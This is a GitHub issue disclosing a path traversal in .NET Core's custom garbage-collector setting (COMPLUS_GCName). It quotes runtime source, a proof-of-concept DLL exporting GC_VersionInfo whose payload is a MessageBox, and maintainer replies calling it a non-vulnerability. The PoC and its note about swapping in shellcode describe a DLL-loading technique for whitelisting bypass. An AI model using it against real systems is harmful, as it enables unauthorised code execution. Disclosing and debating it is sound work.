Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Custom Garbage Collector Path Traversal #38078

Closed
am0nsec opened this issue Jun 18, 2020 · 3 comments
Closed

Custom Garbage Collector Path Traversal #38078

am0nsec opened this issue Jun 18, 2020 · 3 comments

Comments

@am0nsec
Copy link

am0nsec commented Jun 18, 2020

Abstract

Thursday 19Th March 2020, I reported to Microsoft Security Response Center (MSRC) a path traversal bug that can be exploited in order to load a custom garbage collector (GC) into any .NET Core application with a low privileged account. This can be abused to archive application whitelisting bypass and arbitrary code execution from within a legitimate .NET Core application.

After almost 3 months, MSRC still did not deem this as a security issue; hence why I am open this issue today. I consider this finding as a small security design flaw and I strongly believe that this is a legitimate attack vector.

Description

A developer or administrator can set a custom GC, in the form of a DLL, via the COMPLUS_GCName configuration knob.
Since .NET Core 3.0, the configuration knob is supposed to be the name of the GC that will be probed under the .NET Core installation directly (e.g. C:\Program Files\dotnet\shared\Microsoft.NETCore.App\<version folder>\). On windows, this directory is writable solely by local administrators.

image

The COMPLUS_GCName configuration knob value is not sanitised before being passed to the GCHeapUtilities::LoadAndInitialize function:

LPWSTR standaloneGcLocation = nullptr;
CLRConfig::GetConfigValue(CLRConfig::EXTERNAL_GCName, &standaloneGcLocation);
if (!standaloneGcLocation)
{
    return InitializeDefaultGC();
}
else
{
    return LoadAndInitializeGC(standaloneGcLocation);
}

On Windows, the non-sanitised value is then going through all these functions: LoadStandaloneGc -> CLRLoadLibrary -> CLRLoadLibraryEx -> WszLoadLibraryEx -> LoadLibraryExWrapper. Ultimately, LoadLibraryExW Windows API function is called to map into the virtual private memory of the process the DLL.

CLRLoadLibrary being called from the LoadStandaloneGc function:

#ifdef FEATURE_STANDALONE_GC
HMODULE LoadStandaloneGc(LPCWSTR libFileName)
{
    LIMITED_METHOD_CONTRACT;

    // Look for the standalone GC module next to the clr binary
    PathString libPath = GetInternalSystemDirectory();
    libPath.Append(libFileName);

    LPCWSTR libraryName = libPath.GetUnicode();
    LOG((LF_GC, LL_INFO100, "Loading standalone GC from path %S\n", libraryName));
    return CLRLoadLibrary(libraryName);
}
#endif // FEATURE_STANDALONE_GC

Due to the lack of sanitisation or check, there is a path traversal bug. Local administrator privileges are therefore no longer needed because the GC can be loaded from any location on the system. As a result, arbitrary unmanaged code can be executed through any .NET Core application with a low privilege account.

image

Exploitation Example

The first function being invoked from the loaded GC is GC_VersionInfo, from the LoadAndInitializeGC function.

g_gc_load_status = GC_LOAD_STATUS_DONE_LOAD;
GC_VersionInfoFunction versionInfo = (GC_VersionInfoFunction)GetProcAddress(hMod, "GC_VersionInfo");
if (!versionInfo)
{
    HRESULT err = GetLastError();
    LOG((LF_GC, LL_FATALERROR, "Load of `GC_VersionInfo` from standalone GC failed\n"));
    return __HRESULT_FROM_WIN32(err);
}

g_gc_load_status = GC_LOAD_STATUS_GET_VERSIONINFO;
versionInfo(&g_gc_version_info);
g_gc_load_status = GC_LOAD_STATUS_CALL_VERSIONINFO;

This mean that only one function has to be exported to execute arbitrary unmanaged code. The DLL entry point (i.e. DllMain) may also work, but there is limitations related to the Windows loader. The following C++ code can be compiled into a DLL and will display aas MessageBox, once loaded by a .NET Core application. This is a PoC, an attacker will be more interested by injecting shellcode instead of displaying a MessageBox.

#pragma once
#include <Windows.h>
#include "stdint.h"

// From coreclr gcinterface.h
struct VersionInfo {
	uint32_t MajorVersion;
	uint32_t MinorVersion;
	uint32_t BuildVersion;
	const char* Name;
};

extern "C" __declspec(dllexport) void GC_VersionInfo(VersionInfo * info) {
	info->MajorVersion = 6;
	info->MinorVersion = 6;
	info->BuildVersion = 6;
	info->Name = "Custom GC";

	// Your payload
	::MessageBox(NULL, L"From the DLL!", L"This is fine", 4);
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
	switch (dwReason) {
		case DLL_PROCESS_ATTACH:
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
			break;
	}

	return TRUE;
}

Example of execution once the COMPLUS_GCName configuration knob was set to a location writable by any low privileged user.

image

Configuration

This has been tested with .NET Core 5.0 and .NET Core 3.1.4 in a Windows x64 10 2004 operating system. Additional tests and a review of the code shows that MacOS and Linux operating systems are also affected.

@Dotnet-GitSync-Bot
Copy link
Collaborator

I couldn't figure out the best area label to add to this issue. Please help me learn by adding exactly one area label.

@Dotnet-GitSync-Bot Dotnet-GitSync-Bot added the untriaged New issue has not been triaged by the area owner label Jun 18, 2020
@GrabYourPitchforks
Copy link
Member

Thank you for the report. Per MSRC, we do not consider this to be a security vulnerability. Exploiting this would require the adversary to modify the environment block, at which point they're already in control over other aspects of the application's execution. Raymond Chen has also written about this and has some interesting stories to share: see https://www.bing.com/search?q=oldnewthing+%22It+rather+involved+being+on+the+other+side+of+this+airtight+hatchway%22 for some examples.

@GrabYourPitchforks GrabYourPitchforks removed the untriaged New issue has not been triaged by the area owner label Jun 18, 2020
@MichalStrehovsky
Copy link
Member

There's also a very straightforward and documented way to achieve the same thing if you control the environment block - no need to jump through path traversal hoops: https://medium.com/criteo-labs/c-have-some-fun-with-net-core-startup-hooks-498b9ad001e1

@dotnet dotnet locked as resolved and limited conversation to collaborators Dec 8, 2020
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants